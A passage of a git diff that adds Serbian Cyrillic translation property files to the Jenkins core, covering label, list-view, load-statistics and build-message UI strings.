\u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u0430, \u043C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435 \u0434\u0430 \u0458\u0435 \u043D\u0435\u043A\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u0438\u0437\u043F\u0443\u0441\u0442\u0438\u043B\u0430 GET \u0437\u0430\u0445\u0442\u0435\u0432, \u0443 \u043A\u043E\u043C \u0441\u043B\u0443\u0447\u0430\u0458\u0443 \u043F\u043E\u0434\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u0433\u0440\u0435\u0448\u0446\u0438 \u0437\u0430 \u0442\u0443 \u043C\u043E\u0434\u0443\u043B\u0443. +Proceed=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 diff --git a/core/src/main/resources/hudson/model/Label/index_sr.properties b/core/src/main/resources/hudson/model/Label/index_sr.properties new file mode 100644 index 0000000000..51a766a551 --- /dev/null +++ b/core/src/main/resources/hudson/model/Label/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Nodes=\u041C\u0430\u0448\u0438\u043D\u0435 +Projects=\u041F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 +None=\u041D\u0435\u043C\u0430 diff --git a/core/src/main/resources/hudson/model/Label/sidepanel_sr.properties b/core/src/main/resources/hudson/model/Label/sidepanel_sr.properties new file mode 100644 index 0000000000..adab3fbf79 --- /dev/null +++ b/core/src/main/resources/hudson/model/Label/sidepanel_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Overview=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 +Configure=\u041F\u043E\u0434\u0435\u0441\u0438 +Load\ Statistics=\u0423\u0447\u0438\u0442\u0430\u0458 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 diff --git a/core/src/main/resources/hudson/model/ListView/configure-entries_sr.properties b/core/src/main/resources/hudson/model/ListView/configure-entries_sr.properties new file mode 100644 index 0000000000..04cba4a19b --- /dev/null +++ b/core/src/main/resources/hudson/model/ListView/configure-entries_sr.properties @@ -0,0 +1,14 @@ +# This file is under the MIT License by authors + +Job\ Filters=\u0424\u0438\u043B\u0442\u0435\u0440\u0438 \u043D\u0430 \u0437\u0430\u0434\u0430\u0446\u0438\u043C\u0430 +Status\ Filter= +All\ selected\ jobs=\u0421\u0432\u0435 \u0438\u0437\u0430\u0431\u0440\u0430\u043D\u0438 \u0437\u0430\u0434\u0430\u0446\u0438 +Enabled\ jobs\ only=\u0421\u0430\u043C\u043E \u043E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0438 \u0437\u0430\u0434\u0430\u0446\u0438 +Disabled\ jobs\ only=\u0421\u0430\u043C\u043E \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0438 \u0437\u0430\u0434\u0430\u0446\u0438 +Recurse\ in\ subfolders= +Jobs=\u0417\u0430\u0434\u0430\u0446\u0438 +Use\ a\ regular\ expression\ to\ include\ jobs\ into\ the\ view= +Regular\ expression=\u0420\u0435\u0433\u0443\u043B\u0430\u0440\u043D\u0438 \u0438\u0437\u0440\u0430\u0437 +Add\ Job\ Filter= +Columns=\u041A\u043E\u043B\u043E\u043D\u0435 +Add\ column=\u0414\u043E\u0434\u0430\u0458 \u043A\u043E\u043B\u043E\u043D\u0443 diff --git a/core/src/main/resources/hudson/model/ListView/newJobButtonBar_sr.properties b/core/src/main/resources/hudson/model/ListView/newJobButtonBar_sr.properties new file mode 100644 index 0000000000..ff4f4a4f27 --- /dev/null +++ b/core/src/main/resources/hudson/model/ListView/newJobButtonBar_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Add\ to\ current\ view=\u0414\u043E\u0434\u0430\u0458 \u043D\u0430 \u043E\u0432\u0430\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/hudson/model/ListView/newViewDetail_sr.properties b/core/src/main/resources/hudson/model/ListView/newViewDetail_sr.properties new file mode 100644 index 0000000000..9339366715 --- /dev/null +++ b/core/src/main/resources/hudson/model/ListView/newViewDetail_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041F\u043E\u043A\u0430\u0437\u0443\u0458\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0443 \u043E\u0431\u043B\u0438\u043A\u0443 \u043E\u0431\u0438\u0447\u043D\u0435 \u043B\u0438\u0441\u0442\u0435. \u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u0434\u0430\u0431\u0440\u0430\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0437\u0430 \u043F\u0440\u0438\u043A\u0430\u0437\u0438\u0432\u0430\u045A\u0435 \u0443 \u043D\u0435\u043A\u043E\u043C \u043F\u0440\u0438\u043A\u0430\u0437\u0443. diff --git a/core/src/main/resources/hudson/model/LoadStatistics/main_sr.properties b/core/src/main/resources/hudson/model/LoadStatistics/main_sr.properties new file mode 100644 index 0000000000..de74c71dd4 --- /dev/null +++ b/core/src/main/resources/hudson/model/LoadStatistics/main_sr.properties @@ -0,0 +1,48 @@ +# This file is under the MIT License by authors + +title=\u0423\u0447\u0438\u0442\u0430\u0458 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435: {0} +Timespan=\u0412\u0440\u0435\u043C\u0435 +Short=\u041A\u0440\u0430\u0442\u043A\u043E +Medium=\u0421\u0440\u0435\u0434\u045A\u0435 +Long=\u0414\u0443\u0433\u043E +Load\ statistics\ graph=\u0423\u0447\u0438\u0442\u0430\u0458 \u0433\u0440\u0430\u0444\u0438\u043A\u043E\u043D \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0430 +blurb=\ + \u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 \u043E\u043F\u0442\u0435\u0440\u0435\u045B\u0435\u045A\u0430 \u043F\u0440\u0430\u0442\u0435 \u0447\u0435\u0442\u0438\u0440\u0438 \u0433\u043B\u0430\u0432\u043D\u0435 \u043C\u0435\u0442\u0440\u0438\u043A\u0435 \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430: \ +
                    \ +
                    \u0411\u0440\u043E\u0458 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430
                    \ +
                    \ + \u0417\u0430 \u043C\u0430\u0448\u0438\u043D\u0443: \u0430\u043A\u043E \u0458\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430 \u043E\u043D\u0434\u0430 \u0458\u0435 \u043E\u0432\u043E \u0432\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \ + \u0442\u0430\u0458 \u0440\u0430\u0447\u0443\u043D\u0430\u0440 \u0438\u043C\u0430; \u0430\u043A\u043E \u043D\u0438\u0458\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D \u043E\u043D\u0434\u0430 \u0458\u0435 \u0437\u0431\u0438\u0440 \u043D\u0443\u043B\u0430.
                    \ + \u0417\u0430 \u043B\u0430\u0431\u0435\u043B\u0443: \u0437\u0431\u0438\u0440 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0430 \u0441\u0432\u0438\u043C \u0440\u0430\u0447\u0443\u043D\u0430\u0440\u0438\u043C\u0430 \u0441\u0430 \u043E\u0432\u043E\u043C \u043B\u0430\u0431\u0435\u043B\u043E\u043C.
                    \ + \u0417\u0430 \u0446\u0435\u043E Jenkins: \u0437\u0431\u0438\u0440 \u0441\u0432\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0430 \u043E\u0432\u043E\u0458 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0438 Jenkins-\u0430.
                    \ + \u041E\u0441\u0438\u043C \u043F\u0440\u043E\u043C\u0435\u043D\u0430 \u0443 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0443, \u043E\u0432\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 \u043C\u043E\u0436\u0435 \u0441\u0435 \u043C\u0435\u045A\u0430\u0442\u0438 \u043A\u0430\u0434 \u0430\u0433\u0435\u043D\u0442\u0438 \u043F\u0440\u0435\u043A\u0438\u043D\u0443 \u0432\u0435\u0437\u0443. \ +
                    \ +
                    \u0411\u0440\u043E\u0458 \u0437\u0430\u0443\u0437\u0435\u0442\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430
                    \ +
                    \ + \u041E\u0437\u043D\u0430\u0447\u0430\u0432\u0430 \u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 (me\u0452\u0443 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u0438\u0437\u043D\u0430\u0434) \ + \u043A\u043E\u0458\u0438 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u0458\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. \u041E\u0434\u043D\u043E\u0441 \u043E\u0432\u0435 \u0446\u0438\u0444\u0440\u0435 \u043F\u0440\u0435\u043C\u0430 \u0431\u0440\u043E\u0458\u0443 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \ + \u0434\u0430\u0458\u0435 \u0432\u0430\u043C \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430. \u0410\u043A\u043E \u0441\u0443 \u0441\u0432\u0438 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0438 \u0437\u0430\u0443\u0437\u0435\u0442\u0438 \ + \u0437\u0430 \u0434\u0443\u0436\u0435 \u0432\u0440\u0435\u043C\u0435, \u043C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u043E \u0434\u043E\u0434\u0430\u0442\u0438 \u0432\u0438\u0448\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u0443 \u0432\u0430\u0448\u0443 Jenkins \u0433\u0440\u0443\u043F\u0443.\ +
                    \ +
                    \u0411\u0440\u043E\u0458 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430
                    \ +
                    \ + \u041E\u0437\u043D\u0430\u0447\u0430\u0432\u0430 \u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 (me\u0452\u0443 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u0438\u0437\u043D\u0430\u0434) \ + \u043A\u043E\u0458\u0438 \u043C\u043E\u0433\u0443 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. \u041E\u0434\u043D\u043E\u0441 \u043E\u0432\u0435 \u0446\u0438\u0444\u0440\u0435 \u043F\u0440\u0435\u043C\u0430 \u0431\u0440\u043E\u0458 \u0441\u0432\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \ + \u0434\u0430\u0458\u0435 \u0432\u0430\u043C \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u043E\u0441\u0442 \u0440\u0435\u0441\u0443\u0440\u0441\u0430. \u0410\u043A\u043E \u043D\u0438\u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0438\u0458\u0435 \u0441\u043B\u043E\u0431\u043E\u0434\u0430\u043D \ + \u0437\u0430 \u0434\u0443\u0436\u0435 \u0432\u0440\u0435\u043C\u0435, \u043C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u043E \u0434\u043E\u0434\u0430\u0442\u0438 \u0432\u0438\u0448\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u0443 \u0432\u0430\u0448\u0443 Jenkins \u0433\u0440\u0443\u043F\u0443.\ +
                    \ +
                    \u0414\u0443\u0436\u0438\u043D\u0430 \u0440\u0435\u0434\u0430
                    \ +
                    \ + \u0411\u0440\u043E\u0458 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u043A\u043E\u0458\u0438 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u0443 \u0440\u0435\u0434\u0443 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443, \u0447\u0435\u043A\u0430\u0458\u0443\u045B\u0438 \ + \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 (\u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438, \u0441\u0430 \u043E\u0432\u043E\u043C \u043B\u0430\u0431\u0435\u043B\u043E\u043C, \u0446\u0435\u043B\u0438\u043C Jenkins-\u043E\u043C) \ + \u0426\u0438\u0444\u0440\u0430 \u043D\u0435 \u0443\u043A\u0459\u0443\u0447\u0443\u0458\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043F\u043E\u0434 \u0442\u0438\u0445\u0438\u043C \u0440\u0435\u0436\u0438\u043C\u043E\u043C, \u043D\u0438\u0442\u0438 \ + \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043A\u043E\u0458\u0438 \u0441\u0443 \u0443 \u0440\u0435\u0434\u0443 \u0437\u0430\u0448\u0442\u043E \u043F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0441\u0443 \u0458\u043E\u0448 \u0443\u0432\u0435\u043A \u0443 \u0442\u043E\u043A\u0443. \ + \u0410\u043A\u043E \u0431\u0440\u043E\u0458 \u043F\u0440\u0435\u0452\u0435 \u043F\u0440\u0435\u043A\u043E 0, Jenkins \u045B\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0442\u0430\u043A\u043E \u0448\u0442\u043E \u045B\u0435 \u0434\u043E\u0434\u0430\u0442\u0438 \u0458\u043E\u0448 \u043C\u0430\u0448\u0438\u043D\u0430. \ +
                    \ +
                    \ +

                    \u0411\u0435\u043B\u0435\u0448\u043A\u0430: \u0411\u0440\u043E\u0458 \u0437\u0430\u0443\u0437\u0435\u0442\u0438\u0445 \u0438 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0435\u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \ + \u0458\u0435\u0434\u043D\u0430\u043A \u0431\u0440\u043E\u0458\u0443 \u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0438\u0445 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430, \u0437\u0430\u0448\u0442\u043E \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0438 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0441\u0443\u0441\u043F\u0435\u043D\u0434\u043E\u0432\u0430\u043D\u0438 \ + \u0438 \u043F\u0440\u0435\u043C\u0430 \u0442\u043E\u043C\u0435 \u043D\u0438\u0442\u0438 \u0437\u0430\u0443\u0437\u0435\u0442\u0438\u0430 \u043D\u0438 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u0438\u0430.

                    \ +

                    \u0413\u0440\u0430\u0444\u0438\u043A\u043E\u043D \u0458\u0435 \u0435\u043A\u0441\u043F\u043E\u043D\u0435\u043D\u0446\u0438\u0430\u043B\u043D\u0438 \u043F\u043E\u043A\u0440\u0435\u0442\u043D\u0438 \u043F\u0440\u0435\u0441\u0435\u043A \u043E\u0434 \u043F\u0435\u0440\u0438\u043E\u0434\u0438\u0447\u043D\u043E \u043F\u0440\u0438\u043A\u0443\u043F\u0459\u0435\u043D\u0435 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442\u0438. \ + 3 \u0440\u0430\u0441\u043F\u043E\u043D\u0430 \u0441\u0443 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u0430 \u0441\u0432\u0430\u043A\u0438\u0445 10 \u0441\u0435\u043A\u0443\u043D\u0434\u0438, 1 \u043C\u0438\u043D\u0443\u0442\u0430 \u0438 1 \u0447\u0430\u0441\u0430.

                    + diff --git a/core/src/main/resources/hudson/model/Messages_sr.properties b/core/src/main/resources/hudson/model/Messages_sr.properties new file mode 100644 index 0000000000..01085a0393 --- /dev/null +++ b/core/src/main/resources/hudson/model/Messages_sr.properties @@ -0,0 +1,292 @@ +# This file is under the MIT License by authors + +AbstractBuild.BuildingRemotely=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0441\u0430 \u0434\u0430\u043B\u0435\u043A\u0430 \u043D\u0430 "{0}" +AbstractBuild.BuildingOnMaster=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0430 \u0433\u043B\u0430\u0432\u043D\u043E\u043C \u0441\u0435\u0440\u0432\u0435\u0440\u0443 +AbstractBuild_Building=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +AbstractBuild.BuildingInWorkspace=\u043D\u0430 \u0440\u0430\u0434\u043D\u043E\u043C \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0443 "{0}" +AbstractBuild.KeptBecause=\u041E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0458\u0435 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u043E \u0437\u0431\u043E\u0433 {0}. +AbstractItem.NoSuchJobExists=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A "{0}". \u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0438\u043C\u0430\u043B\u0438 "{1}"? +AbstractItem.NoSuchJobExistsWithoutSuggestion=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C "{0}". +AbstractItem.Pronoun=\u043E\u0431\u0458\u0435\u043A\u0430\u0442 +AbstractProject.AssignedLabelString_NoMatch_DidYouMean=\u041D\u0435\u043C\u0430 \u0442\u0430\u043A\u0432\u043E\u0433 \u0430\u0433\u0435\u043D\u0442\u0430/cloud. \u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 "{1}" \u043D\u0430 \u0443\u043C\u0443 \u0443\u043C\u0435\u0441\u0442\u043E "{0}"? +AbstractProject.NewBuildForWorkspace=\u0417\u0430\u043A\u0430\u0437\u0438\u0432\u0430\u045A\u0435 \u043D\u043E\u0432\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0434\u0430 \u0431\u0438 \u0441\u0435 \u0434\u043E\u0431\u0438\u043E \u043D\u043E\u0432\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440. +AbstractProject.Pronoun=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +AbstractProject.AwaitingWorkspaceToComeOnline=\u041F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 \u043D\u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u0430 \u0431\u0438 \u0441\u0442\u0435 \u0434\u043E\u0431\u0438\u043B\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440. \u0427\u0435\u043A\u0430\u045A\u0435 {0}ms \u0441\u0430 \u043D\u0430\u0434\u043E\u043C \u0434\u0430 \u045B\u0435 \u0458\u0435\u043D\u0430\u043D \u0431\u0438\u0442\u0438 \u043E\u0441\u043B\u043E\u0431\u043E\u0452\u0435\u043D. +AbstractProject.AwaitingBuildForWorkspace=\u0427\u0435\u043A\u0430\u045A\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443, \u0434\u0430 \u0431\u0438 \u0441\u0435 \u0434\u043E\u0431\u0438\u043E \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440. +AbstractProject.Aborted=\u041F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u043E +AbstractProject.UpstreamBuildInProgress=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 {0}, \u043E\u0434 \u043A\u043E\u0433\u0430 \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430, \u0458\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442. +AbstractProject.DownstreamBuildInProgress=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 {0}, \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0438 \u043D\u0430 \u043E\u0432\u043E\u043C, \u0458\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0430. +AbstractProject.Disabled=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0430 +AbstractProject.NoBuilds=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0438 \u0458\u0435\u0434\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. \u0417\u0430\u043A\u0430\u0437\u0438\u0432\u0430\u045A\u0435 \u043D\u043E\u0432\u0435 \u0443 \u0442\u043E\u043A\u0443. +AbstractProject.NoSCM=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u0443 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +AbstractProject.NoWorkspace=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u043D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0430 \u0437\u0430\u0448\u0442\u043E \u043D\u0435\u043C\u0430 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430. +UpdateCenter.PluginCategory.devops=DevOps +UpdateCenter.PluginCategory.dotnet=.NET \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.database=\u0411\u0430\u0437\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 +UpdateCenter.PluginCategory.deployment=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 +UpdateCenter.PluginCategory.external=\u0418\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0430 \u0435\u043A\u0441\u0442\u0435\u0440\u043D\u0438\u043C \u0441\u0435\u0440\u0432\u0438\u0441\u0438\u043C\u0430 \u0438 \u0430\u043B\u0430\u0442\u0438\u043C\u0430 +UpdateCenter.PluginCategory.groovy-related=\u0423 \u0432\u0435\u0437\u0438 \u0441\u0430 Groovy +UpdateCenter.PluginCategory.ios=iOS \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.library=\u0411\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0435 \u0437\u0430 \u043C\u043E\u0434\u0443\u043B\u0435 (\u0443 \u043A\u043E\u0440\u0438\u0441\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430) +UpdateCenter.PluginCategory.maven=Maven +UpdateCenter.PluginCategory.cluster=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043A\u043B\u0430\u0441\u0442\u0435\u0440\u0430 \u0438 \u0440\u0430\u0441\u043F\u043E\u0434\u0435\u0459\u0435\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +UpdateCenter.PluginCategory.android=Android \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.python=Python \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.report=\u0418\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +UpdateCenter.PluginCategory.ruby=Ruby \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.scm=\u0421\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +UpdateCenter.PluginCategory.scala=Scala \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.scm-related=\u0412\u0435\u0437\u0430\u043D\u043E \u0441\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C \u0437\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +UpdateCenter.PluginCategory.security=\u0411\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442 +UpdateCenter.PluginCategory.slaves=\u041F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0438 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0430\u0433\u0435\u043D\u0430\u0442\u0430 +UpdateCenter.PluginCategory.test=\u0422\u0435\u0441\u0442\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.trigger=\u0410\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u0441\u0442\u0430\u0440\u0442 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +\u043D\u0430\u043F\u0430\u0441\u0432\u0430= +AbstractProject.WorkspaceTitle=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u043E\u0434 {0} +AbstractProject.WorkspaceTitleOnComputer=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 {0} \u043D\u0430 {1} +AbstractProject.PollingABorted=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0458\u0435 \u0443\u043A\u0438\u043D\u0443\u0442\u043E +AbstractProject.PollingVetoed=\u0417\u0430\u0445\u0442\u0435\u0432\u0438 \u043F\u0440\u0435\u043C\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0441\u0443 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E \u0441\u0443\u0441\u043F\u0435\u043D\u0434\u043E\u0432\u0430\u043D\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 {0}. +AbstractProject.ScmAborted=\u0423\u0447\u0438\u0442\u0430\u0432\u0430\u045A\u0435 \u043E\u0434 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u0442\u043E +AbstractProject.WorkspaceOffline=\u0420\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 \u0458\u0435 \u043D\u0435\u0434\u043E\u0441\u0442\u0443\u043F\u0430\u043D +AbstractProject.BuildPermission.Description=\u041E\u0432\u0430 \u0434\u043E\u0437\u0432\u043E\u043B\u0430 \u043F\u0440\u0443\u0436\u0438 